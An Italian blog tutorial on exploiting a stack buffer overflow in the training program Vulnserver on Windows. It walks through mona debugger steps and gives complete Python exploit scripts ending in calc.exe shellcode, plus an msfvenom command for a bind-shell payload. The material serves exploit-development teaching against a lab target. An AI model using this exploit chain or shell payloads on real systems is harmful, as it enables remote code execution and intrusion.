Con questo articolo daremo il via ad una serie di post che si concentreranno sulle vulnerabilità di tipo Buffer Overflow, partendo dallo Stack, passando da SEH e Egghunter fino ad arrivare al bypass di DEP/ASLR e altre protezioni che sono state introdotte nel corso degli anni su Windows. Tempo fa ho scritto un’articolo che può servire come ripasso, Introduzione al Buffer Overflow e per chi vuole approfondire il discorso su Linux trova tutto qui.
Altri post in questa serie:
L’ordine non è casuale, se non viene spiegato qualche dettaglio è perchè è stato spiegato in articoli precedenti. Consiglio di partire dal primo e proseguire in ordine.
Gli step basilari che si eseguono per exploitare un classico stack buffer overflow sono:
Per approfondire non posso che consigliare Exploit writing tutorial part 1 : Stack Based Overflows.
L’ambiente che utilizzerò è il seguente:
Dopo aver caricato mona, ho modificato il salvataggio dei log con il seguente comando:
!py mona config -set workingfolder c:\monalogs\%p_%i
In questo modo ogni volta che creeremo qualcosa con mona, sarà facilmente accessibile.
NB: a meno di vulnerabilità particolari, in questi articoli salteremo l’identificazione della vulnerabilità (che richiede fuzzing o analisi manuale del codice assembly in IDA) ma ci focalizzeremo sullo sfruttamento della stessa. Se siete interessati a questa parte alcuni tool da guardare sono Boofuzz e SPIKE.
NB2: Poichè il bypass di DEP non è oggetto di questo articolo, ho disabilitato le protezioni di Windows (Windows Security -> App & Browser Control -> Exploit Protection Settings -> Program Settings -> Add program to customize -> filename.exe -> DEP, ASLR, CFG, etc disabilitati).
Vulnserver è un server vulnerabile creato ad hoc per imparare lo Stack Overflow. Una volta avviato rimane in ascolto sulla porta 9999 e possiamo connetterci con netcat.
Sapendo che il comando TRUN è vulnerabile a Stack Overflow, andiamo a creare un primo script che lo manderà in crash.
import struct
import socket
TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT) # vulnserver
VULNSRVR_CMD = b"TRUN ."
CRASH_LEN = 6000
OFFSET = 0
payload = VULNSRVR_CMD
payload += b"A" * CRASH_LEN
with socket.create_connection(target) as sock:
sock.recv(512) # Welcome to Vulnerable Server! ...
sent = sock.send(payload)
print(f"sent {sent} bytes")
Come possiamo vedere, il registro EIP è stato sovrascritto ed ESP punta ad un indirizzo che possiamo controllare
0:001> r
eax=00a7f1e8 ebx=00000090 ecx=006d55c4 edx=00000000 esi=00401848 edi=00401848
eip=41414141 esp=00a7f9c8 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
41414141 ?? ???
0:001> dd poi(esp)
41414141 ???????? ???????? ???????? ????????
41414151 ???????? ???????? ???????? ????????
41414161 ???????? ???????? ???????? ????????
Per poter redirezionare il flusso di memoria verso un indirizzo di memoria che controlliamo dobbiamo identificare l’offset preciso. Per farlo utilizzeremo pattern_create di mona
!py mona pc 6000
Riavvio vulnserver e aggiorno lo script inserendo il pattern
import struct
import socket
TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT) # vulnserver
VULNSRVR_CMD = b"TRUN ."
CRASH_LEN = 6000
OFFSET = 0
payload = VULNSRVR_CMD
payload += b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5......"
with socket.create_connection(target) as sock:
sock.recv(512) # Welcome to Vulnerable Server! ...
sent = sock.send(payload)
print(f"sent {sent} bytes")
Dopo averlo eseguito, per trovare l’offset preciso possiamo usare due comandi di mona. Il primo è il seguito di pattern_create, ossia pattern_offset, il quale cerca un preciso pattern all’interno della memoria
0:003> !py mona po 0x396f4338
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py po 0x396f4338
Looking for 8Co9 in pattern of 500000 bytes
- Pattern 8Co9 (0x396f4338) found in cyclic pattern at position 2006
Il secondo è findmsp, il quale cerca una pattern ciclico all’interno della memoria
0:003> !py mona findmsp
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py findmsp
[+] Looking for cyclic pattern in memory
Cyclic pattern (normal) found at 0x00e4f1ee (length 2994 bytes)
Cyclic pattern (normal) found at 0x001d34c6 (length 4090 bytes)
Cyclic pattern (normal) found at 0x001d48d6 (length 2994 bytes)
[+] Examining registers
EIP contains normal pattern : 0x396f4338 (offset 2006)
ESP (0x00e4f9c8) points at offset 2010 in normal pattern (length 984)
EBP contains normal pattern : 0x6f43376f (offset 2002)
In tutti e due i casi ha trovato che EIP è stato sovrascritto all’offset 2006. Per fare una verifica puntuale modifichiamo lo script in modo da sovrascrivere EIP con 4 B seguite da un po' di C (che saranno poi lo spazio per il nostro shellcode)
import struct
import socket
TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT) # vulnserver
VULNSRVR_CMD = b"TRUN ."
CRASH_LEN = 6000
OFFSET = 2006
payload = VULNSRVR_CMD
payload += b"A" * OFFSET
payload += b"B" * 4
payload += b"C" * (CRASH_LEN - len(payload))
with socket.create_connection(target) as sock:
sock.recv(512) # Welcome to Vulnerable Server! ...
sent = sock.send(payload)
print(f"sent {sent} bytes")
0:004> r
eax=010cf1e8 ebx=000000cc ecx=00725490 edx=0000f3c3 esi=00401848 edi=00401848
eip=42424242 esp=010cf9c8 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
42424242 ?? ???
0:004> dd esp
010cf9c8 43434343 43434343 43434343 43434343
010cf9d8 43434343 43434343 43434343 43434343
010cf9e8 43434343 43434343 43434343 43434343
Certi eseguibili eliminano o modificano determinati caratteri, per cui è necessario capire se ci sono caratteri che “rompono” o modificano il nostro shellcode. Per capire quali sono è sufficente inviare tutto il range di caratteri (da \x00 a \xff) e vedere se in qualche modo sono stati eliminati o modificati. Creo quindi su mona i byte che ci servono
!py mona ba -cpb '\x00'
NB: Se non ci fosse spazio per tutti i byte, avremmo potuto crearli utilizzando un range, per esempio:
!py mona ba -s 1 -e 46
!py mona ba -s 47 -e 8c
!py mona ba -s 8d -e d2
!py mona ba -s d3 -e ff
Aggiorniamo lo script di conseguenza (ho eliminato subito \x00 poiché quasi tutti gli eseguibili non lo accettano)
import struct
import socket
TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT) # vulnserver
VULNSRVR_CMD = b"TRUN ."
CRASH_LEN = 6000
OFFSET = 2006
bad_chars = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
bad_chars += b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
bad_chars += b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
bad_chars += b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
bad_chars += b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
bad_chars += b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
bad_chars += b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
bad_chars += b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
payload = VULNSRVR_CMD
payload += b"A" * OFFSET
payload += b"B" * 4
payload += bad_chars
payload += b"C" * (CRASH_LEN - len(payload))
with socket.create_connection(target) as sock:
sock.recv(512) # Welcome to Vulnerable Server! ...
sent = sock.send(payload)
print(f"sent {sent} bytes")
Eseguiamo e analizziamo la memoria per vedere se qualche carattere è stato eliminato
0:003> r
eax=00ebf1e8 ebx=000000d4 ecx=00cb5490 edx=00001fa5 esi=00401848 edi=00401848
eip=42424242 esp=00ebf9c8 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
42424242 ?? ???
0:003> db esp L100
00ebf9c8 01 02 03 04 05 06 07 08-09 0a 0b 0c 0d 0e 0f 10 ................
00ebf9d8 11 12 13 14 15 16 17 18-19 1a 1b 1c 1d 1e 1f 20 ...............
00ebf9e8 21 22 23 24 25 26 27 28-29 2a 2b 2c 2d 2e 2f 30 !"#$%&'()*+,-./0
00ebf9f8 31 32 33 34 35 36 37 38-39 3a 3b 3c 3d 3e 3f 40 123456789:;<=>?@
00ebfa08 41 42 43 44 45 46 47 48-49 4a 4b 4c 4d 4e 4f 50 ABCDEFGHIJKLMNOP
00ebfa18 51 52 53 54 55 56 57 58-59 5a 5b 5c 5d 5e 5f 60 QRSTUVWXYZ[\]^_`
00ebfa28 61 62 63 64 65 66 67 68-69 6a 6b 6c 6d 6e 6f 70 abcdefghijklmnop
00ebfa38 71 72 73 74 75 76 77 78-79 7a 7b 7c 7d 7e 7f 80 qrstuvwxyz{|}~..
00ebfa48 81 82 83 84 85 86 87 88-89 8a 8b 8c 8d 8e 8f 90 ................
00ebfa58 91 92 93 94 95 96 97 98-99 9a 9b 9c 9d 9e 9f a0 ................
00ebfa68 a1 a2 a3 a4 a5 a6 a7 a8-a9 aa ab ac ad ae af b0 ................
00ebfa78 b1 b2 b3 b4 b5 b6 b7 b8-b9 ba bb bc bd be bf c0 ................
00ebfa88 c1 c2 c3 c4 c5 c6 c7 c8-c9 ca cb cc cd ce cf d0 ................
00ebfa98 d1 d2 d3 d4 d5 d6 d7 d8-d9 da db dc dd de df e0 ................
00ebfaa8 e1 e2 e3 e4 e5 e6 e7 e8-e9 ea eb ec ed ee ef f0 ................
00ebfab8 f1 f2 f3 f4 f5 f6 f7 f8-f9 fa fb fc fd fe ff 43 ...............C
Già si vede che nessun carattere è stato eliminato/sostituito, ma per essere sicuri possiamo comparare il byte array creato precedentemente con il registro ESP
!py mona compare -f c:\monalogs\vulnserver_PID\bytearray.bin -a esp
L’obiettivo ora è trovare un modo per fare un jump al nostro shellcode e poterlo eseguire (abbiamo disabilitato tutte le protezioni per cui per ora non ci sono problemi). Ci sono diversi modi per farlo, proviamo con il classico JMP ESP. Per cercare un indirizzo che contenga l’istruzione ESP (escludendo \x00):
!py mona jmp -r esp -cpb '\x00'
[+] Results :
0x625011af | 0x625011af : jmp esp | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\User\Desktop\vulnserver\essfunc.dll)
0x625011bb | 0x625011bb : jmp esp | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\User\Desktop\vulnserver\essfunc.dll)
0x625011c7 | 0x625011c7 : jmp esp | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\User\Desktop\vulnserver\essfunc.dll)
0x625011d3 | 0x625011d3 : jmp esp | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\User\Desktop\vulnserver\essfunc.dll)
Tutte le protezioni sono disabilitate, per cui scegliamo il primo.
Aggiorno lo script con l’indirizzo ed inserisco un breakpoint allo stesso (bp 0x625011af), in modo da vedere se è tutto a posto.
import struct
import socket
TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT) # vulnserver
VULNSRVR_CMD = b"TRUN ."
CRASH_LEN = 6000
OFFSET = 2006
payload = VULNSRVR_CMD
payload += b"A" * OFFSET
payload += struct.pack("<I",0x625011af) # JMP ESP
payload += b"C" * (CRASH_LEN - len(payload))
with socket.create_connection(target) as sock:
sock.recv(512) # Welcome to Vulnerable Server! ...
sent = sock.send(payload)
print(f"sent {sent} bytes")
Il breakpoint si ferma al nostro JMP che punta alle C, per cui sembra funzionare tutto. Facendo uno step (over o into, in questo caso è indifferente), vediamo che la prossima istruzione eseguita è proprio la C
0:004> t
eax=0118f1e8 ebx=0000009c ecx=00f85490 edx=0000939d esi=00401848 edi=00401848
eip=0118f9c8 esp=0118f9c8 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0118f9c8 43 inc ebx
Ora non ci rimane che creare lo shellcode con msfvenom (o manualmente) ed inserirlo al posto delle C. Per semplicità utilizzerò uno shellcode pronto per eseguire calc.exe, ma nulla toglie che si possa inserire una reverse o bind shell, come
msfvenom -p windows/shell_bind_tcp LPORT=12345 -f python -v shellcode -b '\x00' EXITFUNC=thread
Il codice finale sarà quindi
import struct
import socket
TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT) # vulnserver
VULNSRVR_CMD = b"TRUN ."
CRASH_LEN = 6000
OFFSET = 2006
#calc.exe WIN10 32 bit
calc = b"\x31\xD2\x52\x68\x63\x61\x6C\x63\x89\xE6\x52\x56\x64\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B\x7E\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20\x01\xFE\x8B\x4C\x1F\x24\x01\xF9\x42\xAD\x81\x3C\x07\x57\x69\x6E\x45\x75\xF5\x0F\xB7\x54\x51\xFE\x8B\x74\x1F\x1C\x01\xFE\x03\x3C\x96\xFF\xD7"
payload = VULNSRVR_CMD
payload += b"A" * OFFSET
payload += struct.pack("<I",0x625011af) # JMP ESP
payload += b"\x90"*10
payload += calc
payload += b"C" * (CRASH_LEN - len(payload))
with socket.create_connection(target) as sock:
sock.recv(512) # Welcome to Vulnerable Server! ...
sent = sock.send(payload)
print(f"sent {sent} bytes")
In questo articolo abbiamo visto come sia possibile sfruttare una vulnerabilità di tipo Stack Overflow per eseguire codice arbitrario e ottenere accesso ad un host remoto. Di seguito alcune risorse utili: